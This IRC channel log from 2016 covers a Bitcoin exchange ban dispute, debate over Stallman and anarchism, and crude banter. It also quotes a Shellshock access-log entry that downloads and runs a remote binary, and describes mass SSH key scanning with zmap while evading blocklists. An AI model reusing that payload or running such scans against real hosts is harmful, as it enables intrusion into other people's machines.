1469893;1463779139;asciilifeform;oh this is lethally lulzy, 1469894;1463779142;asciilifeform;'Gavin will "win" because most people won't even realize there was a debate, let alone a "war". Gavin has the network alert key, so when he says "please upgrade to avoid being left on a fork", most people will upgrade. Hard to get away from that. Mircea Popescu isn't likely to persuade anyone that he's right because in all of the three blog posts on this subject I found, nowhere does he bother to explain why he's opposed to a larger 1469895;1463779142;asciilifeform;block size, instead committing the space to expressing his dislike for Gavin, the Bitcoin foundation...' 1469896;1463779148;asciilifeform;^ from the 'quora' thing. 1469897;1463779151;asciilifeform;(linked earlier) 1469898;1463779250;shinohai;Gavin has been rather quite for a few days. 1469899;1463779257;shinohai;*quiet 1469900;1463779274;asciilifeform;have patience, they're making a new one 1469901;1463779281;asciilifeform;old one was long in the tooth. 1469902;1463779516;trinque;must be disheartening; they put so much work into the last one's sweet steampunk goggles and MIT stamp of chief scientism 1469903;1463779532;trinque;they should get that Tor chick this time 1469904;1463779549;trinque;she looks like she wants to be a dystopian manga character 1469905;1463779557;asciilifeform;related, http://btcbase.org/log/2015-12-20#1348086 1469906;1463779557;a111;Logged on 2015-12-20 00:13 asciilifeform: http://log.bitcoin-assets.com/?date=19-12-2015#1348050 << you know what's great? rat poison STILL WORKS even if you don't explain to the rats exactly ~how~ ! 1469907;1463779761;asciilifeform;dignork: welcome back 1469908;1463780435;mircea_popescu;asciilifeform that was state of the art in 2015 tho, check teh dates. 1469909;1463780593;asciilifeform;tru 1469910;1463780870;asciilifeform;the new, 'desperate timez' measures will be thrust at the minerz. 1469911;1463781042;mircea_popescu;nah, that was early 2016 tech. it backfired something massive. 1469912;1463781204;asciilifeform;i dun think they've tried outright bribery yet 1469913;1463781206;asciilifeform;nor arson 1469914;1463781346;kakobrekla;hi. my mpex account has been inaccessible roughly since the time of the final bbet settlement - a bug or a feature? 1469915;1463781369;mircea_popescu;asciilifeform look at the events. in the unwarranted assumption that mp will be impressed with a show of miner strength, they proceeded to mess with bitbet payments. this backfired spectacularly when mp was not only not impressed, but actually went public with it, live. 1469916;1463781370;mircea_popescu;then in the unwarranted assumption that mp actually needs the piddly 1k btc held for bitbet, they tried to use whatever loose assemblage of assets to force mp to recant de facto. which idem backfired spectacularly when mp not only failed to recant as intended, but pissed with a large arch on the whole proposition, and cut out with hot irons anything that may even remotely resemble. 1469917;1463781395;mircea_popescu;kakobrekla you were banned from mpex subsequent your last doomed attempt to fuck up the bitbet process on davout's blog. 1469918;1463781397;mircea_popescu;now bugger off. 1469919;1463781421;kakobrekla;aha so you are keeping my btc? 1469920;1463781494;mircea_popescu;for the record : during the duration of that account, you deposited 20.02 btc, and withdrew : 670.37 btc. "your" btc is a misnomer at best. 1469921;1463781691;kakobrekla;the p/l has no relevance to your embezzlement of funds tied to my key. 1469922;1463781705;mircea_popescu;that'll be all. 1469923;1463781707;mircea_popescu;$down kakobrekla 1469924;1463781729;mircea_popescu;but gotta appreciate the sheer cheek, in any case. 1469925;1463781896;shinohai;>.> 1469926;1463781954;asciilifeform;waiwut, i thought he was a bbet shareholder > 1469927;1463781955;asciilifeform;? 1469928;1463781956;mats;mircea_popescu: nm, off to see a show 1469929;1463781960;asciilifeform;or how did it wurk 1469930;1463781993;kakobrekla;first the pretending and now you plain stealing - way to go! 1469931;1463782070;asciilifeform;did mircea_popescu formally sentence kako to dekulakization? i must've slept through this. 1469932;1463782080;mats;fun fact, canto people typically have soup with every meal 1469933;1463782090;mircea_popescu;it definitely helps the gullet yeah. 1469934;1463782115;shinohai;i make potato soup but no potato only rok 1469935;1463782138;mircea_popescu;asciilifeform how'd you have known anyway ? 1469936;1463782159;asciilifeform;well mircea_popescu has a habit of punishing folx in public 1469937;1463782163;asciilifeform;so possibly then 1469938;1463782204;mircea_popescu;didn't seem particularly interesting. it's in public now, at any rate. 1469939;1463782269;asciilifeform;i can't speak for others, but a fella being drummed out of mpex with dekulakization is a newsworthy thing imho. 1469940;1463782314;mircea_popescu;litte news reaches us from the distant fogs of mpex. but sure. 1469941;1463782326;asciilifeform;BingoBoingo ^ qntra ? 1469942;1463783299;asciilifeform;iirc in the l0gz we learned that even straight usg has mpex account(s), and parked coin stolen from its prisoners (e.g., dpr) there. 1469943;1463783305;asciilifeform;why not dekulakize them ? 1469944;1463783433;mircea_popescu;how exactly are you going to come to any sort of sensible conclusions on the basis of the random derpage of some dude who's principally known for random derpage ? 1469945;1463783443;mircea_popescu;anyway, im off to party, bbl. 1469946;1463783450;shinohai;lulzy 1469947;1463783461;asciilifeform;well dude was also known as bona fide shareholder in bbet. 1469948;1463783465;asciilifeform;which was liquidated. 1469949;1463783476;asciilifeform;and now we learn... he's not ? 1469950;1463786328;jurov;lol you expect any logic? after all this? 1469951;1463786402;asciilifeform;i have monumentally nfi 1469952;1463786404;jurov;you just mentioned stalin on other chan, now imagine yourself demanding explanation from stalin :D 1469953;1463786417;asciilifeform;stalin, on the contrary, had pretty good explanations. 1469954;1463786420;asciilifeform;inside his circle. 1469955;1463786527;jurov;Yes, you do prefer to think that way. 1469956;1463786556;*;asciilifeform aficionado, reads memoirs, etc 1469957;1463786590;asciilifeform;at any rate, i'm not in the business of demanding explanations from folks, but i do make inferences. 1469958;1463786605;asciilifeform;and apparently we can infer that mircea_popescu hates kako more than he hates the dpr confiscators. 1469959;1463786610;asciilifeform;which i find interesting. 1469960;1463788788;BingoBoingo;Divorce is contentious, News at 11. 1469961;1463789107;asciilifeform;BingoBoingo: ever been phriends with both pieces of a divorce ? 1469962;1463789470;shinohai;akward.jpg 1469963;1463792338;mircea_popescu;http://btcbase.org/log/2016-05-20#1469949 << that part was handled by davout ; i'm pretty sure he got his half from him ; in any case davour charged it against me in the final settlement, and i dun expect he didn't remit it. 1469964;1463792338;a111;Logged on 2016-05-20 22:31 asciilifeform: and now we learn... he's not ? 1469965;1463792413;mircea_popescu;and hate dun enter into it. derp's been making outright false, marginally false and otherwise tendentious statements since just about the day it became clear the oh-so-genius plan won't catch. i see no merit in it and reason to entertain them. 1469966;1463792443;asciilifeform;which plan 1469967;1463792462;mircea_popescu;http://btcbase.org/log/2016-05-20#1469916 1469968;1463792462;a111;Logged on 2016-05-20 21:56 mircea_popescu: then in the unwarranted assumption that mp actually needs the piddly 1k btc held for bitbet, they tried to use whatever loose assemblage of assets to force mp to recant de facto. which idem backfired spectacularly when mp not only failed to recant as intended, but pissed with a large arch on the whole proposition, and cut out with hot irons anything that may even remotely resemble. 1469969;1463792656;asciilifeform;mircea_popescu tellin' me that kako betrayed ze motherland ?! 1469970;1463792764;mircea_popescu;so far i'm telling you he's been banned from mpex upon http://fr.anco.is/2016/bitbet-proposed-settlement-transaction#comment-8579 and from #trilema upon http://btcbase.org/log/2016-05-20#1469922 1469971;1463792764;a111;Logged on 2016-05-20 22:01 mircea_popescu: that'll be all. 1469972;1463792829;asciilifeform;and, afaik, first to publicly have this 'honour' 1469973;1463792858;mircea_popescu;possibly. 1469974;1463792878;mircea_popescu;hm, no, actually there was a derp that managed to exploit some timing issue early on. 1469975;1463793032;asciilifeform;interesting - this was in dark age pre-l0gz ? 1469976;1463793051;mircea_popescu;possibly, yeah. well, not pre-logs, but pre-what's public now i think. 1469977;1463793063;asciilifeform;did the banned fella kick up a stink ? 1469978;1463793064;mircea_popescu;actually there might have been a coupla more publicly known of people with compromised keys 1469979;1463793086;mircea_popescu;i imagine must've. 1469980;1463793615;asciilifeform;how does one know that a fella has compromised key ? 1469981;1463793622;asciilifeform;(other than by pwning him personally) 1469982;1463793631;mircea_popescu;"one" doesn't know much. 1469983;1463793663;asciilifeform;i can picture the symptoms though. 1469984;1463793737;asciilifeform;in other 'nyooz', guess who ~doesn't~ run winblowz: https://russiamil.wordpress.com/2011/06/02/valdai-club-3-touring-the-don-2n-radar-facility 1469985;1463793749;asciilifeform;(linked primarily for the console photo) 1469986;1463793804;asciilifeform;reportedly thing is plugged into a real live 'elbrus-2'. 1469987;1463793807;asciilifeform;circa '77. 1469988;1463793818;mircea_popescu;you know still couldn't locate any of them things... 1469989;1463793840;asciilifeform;well they only made, iirc, 200 'elbrus-2' (which were cray-2 sized and shaped) 1469990;1463793849;mircea_popescu;no i meant the modern ones. 1469991;1463793851;asciilifeform;ah 1469992;1463793862;mircea_popescu;it's been half a fucking year or what. 1469993;1463793876;asciilifeform;yeah i suspect that none were sold to humans. 1469994;1463793952;mircea_popescu;im not atm persuaded they exist more than "bfl delivery" existed back in the bitbet bet days. 1469995;1463793962;mircea_popescu;ie, someone somewhere might have received a prototype. 1469996;1463793982;asciilifeform;most ru wunderwaffen happen in individually numbered prototypes. 1469997;1463794334;mircea_popescu;yeah well, i'm not THAT curious about them. 1469998;1463794399;mircea_popescu;asciilifeform incidentally, you ever made any sense of the rms notion that "free hardware" is nothing like "free software" ? 1469999;1463794409;asciilifeform;mircea_popescu: very pointedly not 1470000;1463794417;asciilifeform;it struck me as pure 'delusionist' 1470001;1463794429;asciilifeform;and i think i frothed about it here even. 1470002;1463794435;asciilifeform;(but possibly not) 1470003;1463794439;mircea_popescu;they always puzzled me, these inconsistent derps. jimbo wales thinks he's a "libertarian", and "objectivist". one that somehow thinks corporate spying is bad, but "the government should put as many cameras up as possible - they'd prevent crimes". 1470004;1463794443;mircea_popescu;it's mindboggling. 1470005;1463794456;asciilifeform;folks who paint themselves into a logical corner tend to do this. 1470006;1463794477;mircea_popescu;why not just you know, review thew priors. LIKE SANE FUCKING PEOPLE. 1470007;1463794519;mircea_popescu;if anything, free hardware is more important/useful/valuable than free software, because i've busted open way more programs than chips. 1470008;1463794551;asciilifeform;yeah well. the time to review the priors is before you box yourself in 1470009;1463794566;mircea_popescu;no ; then you don't yet know. the time to review is when you notice the walls. 1470010;1463794578;asciilifeform;but it is worth remembering that rms began his thing in a time when hardware was rare and precious 1470011;1463794585;asciilifeform;and generally one had to swallow what was on the plate. 1470012;1463794591;mircea_popescu;anyway - same with music, because "it's not meant for use, but for appreciation". it's a fucking lasagna, what the fuck does this man actually believe ? 1470013;1463794596;asciilifeform;(and, also not irrelevant, it was generally sane) 1470014;1463794608;mircea_popescu;any program i ever cared about enough to bust open was meant for appreciation. such as fucking civ ffs. 1470015;1463794653;mircea_popescu;does a conference a week since 1995, hasn't yet explained the difference between things "not meant for practical use" and the rest. wtf is impractical use. 1470016;1463794656;mircea_popescu;motherfucker... 1470017;1463794659;mircea_popescu;see, now THIS i hate. 1470018;1463794683;asciilifeform;wai wut where is the 'practical use' line from 1470019;1463794702;mircea_popescu;$google "I think all works meant for practical uses must be free, but that does not apply to music, since music is meant for appreciation, not for practical use." 1470020;1463794709;deedbot;No results. 1470021;1463794714;mircea_popescu;yeah im sure. 1470022;1463794721;mircea_popescu;$google megaupload stallman comments 1470023;1463794721;deedbot;No results. 1470024;1463794725;*;mircea_popescu shrugs 1470025;1463794747;asciilifeform;i'm beginning to remember this tho 1470026;1463794768;asciilifeform;'Printer patterns to make a useful, practical object (i.e., functional rather than decorative) must be free because they are works made for practical use. ' 1470027;1463794771;mircea_popescu;http://stallman.org/archives/2011-nov-feb.html#22_January_2012_%28Megaupload%29 1470028;1463794774;asciilifeform;( http://www.wired.com/2015/03/need-free-digital-hardware-designs ) 1470029;1463794881;mircea_popescu;what is the difference between http://66.media.tumblr.com/c407c30b01293c9ff352c63a7b5bddf5/tumblr_n4yj3752Wj1s8fyi8o1_1280.jpg (dressed for appreciation) and http://67.media.tumblr.com/566f03f4f3eedef6a9b03decd8443885/tumblr_n2cb74nquJ1solxm8o1_400.gif (practical use) ? 1470030;1463794884;mircea_popescu;same fucking cunt omfg. 1470031;1463794920;mircea_popescu;is it the thickness of the baseball penisbat ? 1470032;1463794997;asciilifeform;there is this thing, 1470033;1463795016;asciilifeform;where fella decides he 'believes' x,y,z but is not intellectually up to the task of systematizing 1470034;1463795028;asciilifeform;and ends up with 'for practical use...' poppycock 1470035;1463795040;mircea_popescu;this is not belief. this is an uppity ronin slave. 1470036;1463795045;asciilifeform;it is always quite painful to watch. 1470037;1463795080;mircea_popescu;it's unpleasant to watch in a context where the others say anything but "hey, you're having these problems because you're an uppity ronin slave. how about you drop the aferations and go follow a master." 1470038;1463795141;asciilifeform;why would a successful (in the financial own-legs sense) heresiarch 'go follow a master' ? 1470039;1463795175;mircea_popescu;because not intellectually up to the task of not following. 1470040;1463795206;asciilifeform;wake me up when anybody anywhere performs this type of seppuku. 1470041;1463795226;mircea_popescu;why the fuck does the rich guy go to church. 1470042;1463795232;asciilifeform;to pick up chix? 1470043;1463795239;mircea_popescu;same fucking reason the poor guy goes : cuz he can't make sense of the world around him 1470044;1463795240;asciilifeform;(iirc it was why dan mocsny went) 1470045;1463795314;mircea_popescu;in which we find aferation is not an english word. a well. it denotes one who appears to have a lot to do / be in the thick of things / busy, but really just pretending. a george costanza of sorts. 1470046;1463795342;asciilifeform;next we find that aferist is not english word!!? 1470047;1463795372;asciilifeform;(google claims it translates 'swindler') 1470048;1463795411;mircea_popescu;anyway, tongue in cheek evolution of latin affero. 1470049;1463796079;mircea_popescu;$google tits cunt fuck piss shit motherfucker cocksucker 1470050;1463796085;deedbot;No results. 1470051;1463796091;mircea_popescu;oh you gotta be fucking kidding me 1470052;1463796093;mircea_popescu;$google no results 1470053;1463796094;asciilifeform;i think it croaked long ago 1470054;1463796095;deedbot;http://noresults.tumblr.com/ << No Results | https://www.nngroup.com/articles/search-no-results-serp/ << 3 Guidelines for Search Engine "No Results" Pages | http://www.noresults-nofee.com/ << Welcome to Leader Publishing Worldwide | Leader Publishing ... 1470055;1463796100;asciilifeform;hm 1470056;1463796104;mircea_popescu;there's soemthing wrong with longer lines i think 1470057;1463796108;mircea_popescu;$google tits 1470058;1463796109;deedbot;https://en.wikipedia.org/wiki/Tit_(bird) << Tit (bird) - Wikipedia, the free encyclopedia | http://www.xvideos.com/tags/tits << tits videos - XVIDEOS.COM | https://en.wikipedia.org/wiki/Jacques_Tits << Jacques Tits - Wikipedia, the free encyclopedia 1470059;1463796122;mircea_popescu;$google cunt tits 1470060;1463796122;deedbot;http://www.showyourcunt.org/ << Show Your Cunt - Girls, Show your Cunt, Tits and Ass here!!! | http://www.xvideos.com/video13034673/showing_a_perfect_cunt_tits_and_ass << showing a perfect cunt tits and ass - XVIDEOS.COM | https://www.youtube.com/watch?v=Kv-qSHT1W3k << old lady cunt tits - YouTube 1470061;1463796132;mircea_popescu;weird. 1470062;1463796137;asciilifeform;quite 1470063;1463797269;mircea_popescu;in any case, even the proposition that somehow "use" is good while "enjoyment" bad, first to be supported off public tolerance, mandated ; latter to be punished stinks to high heavens of outright evil protestantism bullshit. 1470064;1463798324;asciilifeform;mircea_popescu: iirc it was some variation of 'you don't need to know how magic trick works' 1470065;1463807741;mircea_popescu;sure, sure. and why do i need to know how the gcc trick works. 1470066;1463811391;deedbot;[» Contravex: A blog by Pete Dushenski] Ben Hur - http://www.contravex.com/2016/05/21/ben-hur/ 1470067;1463811841;deedbot;[Trilema] House of Strangers - http://trilema.com/2016/house-of-strangers/ 1470068;1463832523;deedbot;[Qntra] Ivanpah Solar Plant Sets Self On Fire - http://qntra.net/2016/05/ivanpah-solar-plant-sets-self-on-fire/ 1470069;1463838241;Framedragger;mircea_popescu: (got 2768 ssh-rsa keys on a test run on a populated /16... this will be fun.) 1470070;1463843905;mircea_popescu;win! 1470071;1463844695;mircea_popescu;ahahaha BingoBoingo 1470072;1463845731;mircea_popescu;Framedragger how long did covering the /16 take ? 1470073;1463846220;asciilifeform;one for mircea_popescu: https://gfycat.com/ThoughtfulShamelessChimpanzee 1470074;1463846251;Framedragger;mircea_popescu: with timeout per host set to 5sec (default) and unaltered parallel scanning setting (ssh-keyscan does parallel stuff pretty well but it may not be best for scanning huge numbers of hosts; case in point: default version for ubuntu 14.04 terminates if a single remote host closes conn prematurely - needed to patch this..), it took ~65 minutes (i've started logging timestamps afterwards but this is prob quite accurate). this 1470075;1463846274;Framedragger;this was using single machine only - scanning with two now, will add third one when i have a few min. but yeah it's overall slow i guess you could say 1470076;1463846282;Framedragger;(irc msg maxlen is 512 chars right?) 1470077;1463846361;mircea_popescu;ahahahaha nice. gord frw. 1470078;1463846389;mircea_popescu;;;calc 2 ** 16 * 65 / 60 / 24 / 365 1470079;1463846390;gribble;8.10471841705 1470080;1463846404;mircea_popescu;8 years on a single machine. what were you running, aws ? 1470081;1463846417;Framedragger;i'm considering running zmap on high-throughput server to quickly get all internet-connected machines in ipv4 space, and then feeding that into ssh-keyscan. may be more efficient. also need to get some disposable ip addresses or something, cause according to internet my coupla server IPs will soon be added to some shitlist 1470082;1463846447;mircea_popescu;eh i got 100s. 1470083;1463846449;Framedragger;no just a server with probably 50 mbps good uplink 1470084;1463846458;asciilifeform;that there's the general minus of scanning 1470085;1463846464;Framedragger;yeah i may set up some aws nodes 1470086;1463846465;asciilifeform;the ip becomes ~useless for any other use 1470087;1463846468;mircea_popescu;please do a different /16 on an aws just to get a handle on how much it costs. 1470088;1463846499;Framedragger;k i'll try and do that (a bit later) 1470089;1463846509;mircea_popescu;asciilifeform you know i don't understand, wtf aren't they making pastries this way! at first i thought that's dough on her tits for sure... but no, just paint ? 1470090;1463846517;asciilifeform;that was my first thought ! 1470091;1463846519;mircea_popescu;wtf what a waste. titpressed titcakes! wants! 1470092;1463846520;asciilifeform;caeks! 1470093;1463846521;*;Framedragger remembers he has a disposable tor exit node on digitalocean, can use that one 1470094;1463846533;mircea_popescu;Framedragger tor is uselessly slow 1470095;1463846558;Framedragger;nono, i just mean, i can just use that particular machine for dirty work, cause i can't use that ip for other purposes anyway, it's tainted 1470096;1463846575;Framedragger;but yeah need to think of bigger scales here.. short-term aws/azure farms, whatnot 1470097;1463846646;mircea_popescu;just to eval it. in general the zmap idea is right and proper. 1470098;1463846837;Framedragger;"With [... some custom] changes, ZMap can comprehensively scan for a single TCP port across the entire public IPv4 address space [on a 10Gbps pipe, looks like] in 4.5 minutes given adequate upstream bandwidth." https://www.usenix.org/system/files/conference/woot14/woot14-adrian.pdf - not bad 1470099;1463846895;mircea_popescu;aha. it's rapid yeah 1470100;1463846945;mircea_popescu;the only problem is, i'd expect you will receive ~1/3 of the address space as hits. 1470101;1463846978;mircea_popescu;billionish machines. 1470102;1463846995;Framedragger;something something avoids having to take care of timeouts (is stateless) by putting custom info in packets / "SYN cookies" something 1470103;1463847005;Framedragger;mewonders 1470104;1463847005;mircea_popescu;check it out asciilifeform , there's not even as many computers as there are people and they're already beating us in go :D 1470105;1463847013;Framedragger;someone published survey results 1470106;1463847030;asciilifeform;lel 1470107;1463847045;mircea_popescu;oppressed fucking minority. 1470108;1463847061;asciilifeform;mircea_popescu: related lulz, http://www.theverge.com/circuitbreaker/2016/5/19/11716818/google-alphago-hardware-asic-chip-tensor-processor-unit-machine-learning << go asic 1470109;1463847079;Framedragger;2012: http://internetcensus2012.bitbucket.org/paper.html 1470110;1463847113;Framedragger;shitloads of webcams, "secure" printers etc (of course) 1470111;1463847121;mircea_popescu;dun matter does it 1470112;1463847121;asciilifeform;Framedragger: this is in the old logz 1470113;1463847152;Framedragger;oh. figures... 1470114;1463847166;mircea_popescu;lol 1470115;1463847170;Framedragger;man i need some tool which autosearches from logs while i type in irc 1470116;1463847177;mircea_popescu;write it! 1470117;1463847182;mircea_popescu;not a bad idea either, as a plugin. 1470118;1463847195;asciilifeform;a working $s would be almost as good 1470119;1463847204;mircea_popescu;they're workin' on it. 1470120;1463847210;Framedragger;wonder if whole log would become references to itself, il n'y a pas de hors-texte and all that 1470121;1463847214;Framedragger;hm true... 1470122;1463847231;mircea_popescu;Framedragger pretty much there already. 1470123;1463847241;Framedragger;yah 1470124;1463847254;mircea_popescu;it's just that the majority of computer folk are uncouth and didn't read their linguistics and semiology. 1470125;1463847262;mircea_popescu;which is shameful, really, seeing how ITS THE OTHER FUCKING COMPILER. 1470126;1463847284;mircea_popescu;pretending to have a cs program that's all linguistics-free seems to me the height of ignoramity, but whatevs. 1470127;1463847291;Framedragger;yeah i can't hold interesting convos with these cs people for long sometimes, it's like, fuck you humanity you suck 1470128;1463847332;Framedragger;no but for real. thing is, cs folk usually haven't even read their own "definitive" texts (shannon, e.g.) 1470129;1463847344;mircea_popescu;yes, alf bitching about this is in the logs :) 1470130;1463847349;Framedragger;... 1470131;1463847351;mircea_popescu;lmao 1470132;1463847352;asciilifeform;in what universe does it make sense to regard the imbeciles as 'cs folks' ? 1470133;1463847372;mircea_popescu;asciilifeform hey, they got a cert. 1470134;1463847376;Framedragger;well i did use "folks" which isn't a word from the most high register so to speak :) 1470135;1463847384;Framedragger;butyeah 1470136;1463847384;asciilifeform;what next, 14th c let's-treat-the-wound-with-shit idiot is 'doctor' ? 1470137;1463847392;mircea_popescu;aha! 1470138;1463847402;Framedragger;'the fucking witch deserved it' 1470139;1463847403;mircea_popescu;part of the history of medicine, like it or not, mr progress. 1470140;1463847426;asciilifeform;sure but if he lives today ? 1470141;1463847436;mircea_popescu;but there is no yesterday of computing! 1470142;1463847443;mircea_popescu;it all happened in a blink of a slow blinking eye! 1470143;1463847470;asciilifeform;there was a pretty sharp transition from, e.g., mccarthy to jwz 1470144;1463847476;Framedragger;you're still using $framework? GO BACK TO YER CAVE 1470145;1463847480;mircea_popescu;slow blinking eye! 1470146;1463847538;asciilifeform;more of a puckering sphincter 1470147;1463847771;mircea_popescu;lmao omfg. dude published the 2012 census with a pgp (v2.0!) 1kb rsa key ; and he claims to be inspired by... XKCD!!! to do a fucking hilbert curve. omfg the unit-square covering discussions were all in vain, xkcd is the source. 1470148;1463847837;Framedragger;didyouknow, someone wrote a graphing library which mimicks xkcd graph style. iirc it's actually quite nice, insofar as hipster things can be nice. shitlikethat... 1470149;1463847877;mircea_popescu;obligatory http://trilema.com/xkcd 1470150;1463847895;Framedragger;yeah seen it, heh 1470151;1463847906;mircea_popescu;ah ? well then. 1470152;1463847961;Framedragger;by all means, keep reinforcing the "nothing outside the text" notion ! but yeah, good to revisit 1470153;1463847986;Framedragger;[dodges the "that's not the proper translation" discussion] 1470154;1463848012;mircea_popescu;per the drunken walk model, once you're hitting sqrt(1) of references in cache you've read enough :D 1470155;1463848037;Framedragger;hehehe 1470156;1463849097;mircea_popescu;and in other lulz, http://imgur.com/gallery/nbtVT 1470157;1463849149;*;asciilifeform doesn't get it 1470158;1463849290;mircea_popescu;psychotic face contortions 1470159;1463849395;asciilifeform;in other nyooz, 1470160;1463849405;asciilifeform;198.55.114.155 - - [21/May/2016:16:49:40 +0000] "GET / HTTP/1.1" 200 1101 "() { :; }; /bin/bash -c \x22rm -rf /tmp/*;echo wget http://houmen.linux22.cn:123/houmen/linux223 -O /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\x22" "() { :; }; /bin/ 1470161;1463849405;asciilifeform;bash -c \x22rm -rf /tmp/*;echo wget http://houmen.linux22.cn:123/houmen/linux223 -O /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo /tmp/China.Z-jkfz\xA8 >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\x22" "-" 1470162;1463849517;mircea_popescu;da fuck is this 1470163;1463849524;asciilifeform;pretty obvious, neh ? 1470164;1463849531;asciilifeform;the real mega-question is ~where~ this worx 1470165;1463849537;mircea_popescu;no ? someone trying to pipe bash through apache ? 1470166;1463849564;asciilifeform;aha 1470167;1463849580;mircea_popescu;check it out, it's like 1990 in china. 1470168;1463849657;asciilifeform;the lulzy bit is that the thing hosting the dropper is dead. 1470169;1463849675;mircea_popescu;are youy calling it with wget ? 1470170;1463849686;asciilifeform;curl 1470171;1463849694;mircea_popescu;well, maybe it detects. 1470172;1463849704;asciilifeform;wget same. 1470173;1463849710;mircea_popescu;who the fuck uses wget instead of curl anyway, you know ? 1470174;1463849716;asciilifeform;box is stone dead. 1470175;1463849724;mircea_popescu;"here's the archive tool and here's the single url tool, i know, i'll use them backwards!" 1470176;1463849760;mircea_popescu;for that matter, why's he not using pastebin or w/e. 1470177;1463850324;asciilifeform;in other not-quite-fresh-nyooz, https://3.bp.blogspot.com/-jrApTQkrqY0/Vz8I5cEbM6I/AAAAAAAAeBI/RNtv0fXWF1EpXgL7KJL58KqSD_rtK1QiwCLcB/s1600/jingle.jpg 1470178;1463850403;mircea_popescu;"safeauto's do the jingle makes insurance advertising fun" ? 1470179;1463850413;asciilifeform;i have nfi 1470180;1463850473;mircea_popescu;http://memecrunch.com/meme/35KRI/ford-owners-be-like/image.jpg 1470181;1463850873;Framedragger;mircea_popescu: to get list of machines listening on port 22 using zmap on amazon aws micro instance with 100 mbps pipe, it takes approx 9-10 minutes per /16. note, only what's listening on port 22, but ssh-keyscan should then plough through pretty quickly. will later run more tests, i'll leave a single instance to scan some /16s to then feed into ssh-keyscan 1470182;1463850916;mircea_popescu;yeah but what's the bill 1470183;1463850936;Framedragger;i mean, i'm using some sort of free tier now, lols. should be cheap.. 1470184;1463850942;mircea_popescu;ah cool then 1470185;1463850945;Framedragger;i'll let you know once some data is gathered 1470186;1463850946;mircea_popescu;that's what needed testing. 1470187;1463850955;Framedragger;they'll start charging for bandwidth sooner or later 1470188;1463850958;Framedragger;i understand 1470189;1463850965;Framedragger;gon take some time to even start incurring cost tho 1470190;1463850972;mircea_popescu;eh, nmap takes 50bytes/try or such 1470191;1463851047;mircea_popescu;anyway, so if you spun up 1k aws micros the whole thing could be done in ~a day. 1470192;1463851050;Framedragger;(ah it seems zmap's saturated the 100mbps pipe quite efficiently. yeah will let you know re. cost, prob sooner than expected heh) 1470193;1463851054;Framedragger;fo sho 1470194;1463851087;mircea_popescu;asciilifeform ^ see ? leverage increase. do this in 1996. 1470195;1463851539;asciilifeform;if anything, it was ~more~ doable in '96, nobody ipbanned 1470196;1463851561;asciilifeform;nor did the folks you got the t1 from give half a fuck what you did with it 1470197;1463852969;mircea_popescu;gawd you're hard. 1470198;1463853058;mircea_popescu;this is like "it was way easier to do astronomy in 2016 bc, not nearly as much atmospheric pollution" "nor did anyone have any glass" "fu, i had glass!" 1470199;1463853819;asciilifeform;moar like 1880. 1470200;1463854004;mircea_popescu;re-reading durkeim it becomes obvious that a) omfg socialists everywhere, what the FUCK is it with this "we're all one" pov already! and b) being an anarchist is ~= being a bleating idiot ; what a man's supposed to be is an anomist. 1470201;1463854024;asciilifeform;diff anarchist anomist ? 1470202;1463854062;mircea_popescu;anarchist === socialist, with the added flavouring of putting the rejection of hierarchy socially above economically, politically or otherwise. 1470203;1463854085;asciilifeform;on what planet ? 1470204;1463854093;asciilifeform;how does one 'socialist' without statism 1470205;1463854095;mircea_popescu;(the "peace movement"/"modern democracy" flavour puts the political one first, and is the more fashionable today. communism puts the economical first, as per ziggler & co. used to be most fashionable) 1470206;1463854106;mircea_popescu;whereas anomist = one who rejects the regulatory role of society. 1470207;1463854122;mircea_popescu;asciilifeform anarchists are not against statism per se. 1470208;1463854137;asciilifeform;mircea_popescu must've read a very different set of anarchists than asciilifeform 1470209;1463854153;mircea_popescu;they're against the "repressive" ie, educational state. but otherwise, the state must be there for anarchy to exist. 1470210;1463854181;mircea_popescu;asciilifeform or maybe mircea_popescu reads beyond what people like to pretend they're saying into what they're actually saying! 1470211;1463854203;asciilifeform;show me where 'the state must exist' in, e.g., kropotkin 1470212;1463854218;mircea_popescu;any portion in particulare ? 1470213;1463854222;asciilifeform;anywhere ! 1470214;1463854283;mircea_popescu;what promotes the "voluntary cooperation" ? 1470215;1463854288;mircea_popescu;suppose i dun wanna cooperate. what now ? 1470216;1463854303;asciilifeform;live with wolf ? 1470217;1463854306;mircea_popescu;kropotkin's necessary state is imported as this cvasi-mystical "all men must x y z and will so!" 1470218;1463854318;mircea_popescu;"and if they don't ?" "uh." 1470219;1463854345;asciilifeform;if they don't, they fight - where's the enigma here 1470220;1463854374;mircea_popescu;well im no kropotkin specialist myself, but i'm unaware of him putting war as a legitimate human endeavour. 1470221;1463854398;mircea_popescu;anyway, in the general - whenever ideologue makes presuposition as to what humans are, or do, or will be or will do, he's therefore and by that an etatist. 1470222;1463854398;asciilifeform;i dun think war cared if anybody wrote it down as 'legitimate endeavour' or not 1470223;1463854412;mircea_popescu;but we're discussing kropotkin the anarchist, not war the phenomenon. 1470224;1463854436;mircea_popescu;unless your fellow said himself "and if they don't, they fight and whoever wins was right", he's what i say not what you say. 1470225;1463854453;asciilifeform;not wholly unrelated though. being the reason we haven't any serious anarchic communes to kick around no moar, is that they're no good at war. 1470226;1463854472;mircea_popescu;no, it's because they need a very specific sort of mommy that's yet in short supply. 1470227;1463854485;asciilifeform;waiwut 1470228;1463854494;mircea_popescu;there'd be no end and no shortage of anarchistic-flavoured socialism everwhere if "society collapsed" and there were 1mn people left and 2mn walmart warehouses stacked. 1470229;1463854522;asciilifeform;is this isomorphic to the swedish fishermen thing ? 1470230;1463854524;mircea_popescu;ie, they need a sort of state like the wasp's parents. dead corpse to be eaten. still etatist though. 1470231;1463854528;mircea_popescu;just, a different kind of state. 1470232;1463854531;asciilifeform;how 'anarchic' was their flavour 1470233;1463854541;mircea_popescu;it could well be, yeah. quite, neh ? 1470234;1463854565;asciilifeform;not so much - their villages were miniature totalitarian monstrosities in themselves 1470235;1463854566;asciilifeform;afaik 1470236;1463854576;mircea_popescu;of course. socialism is socialism is socialism. 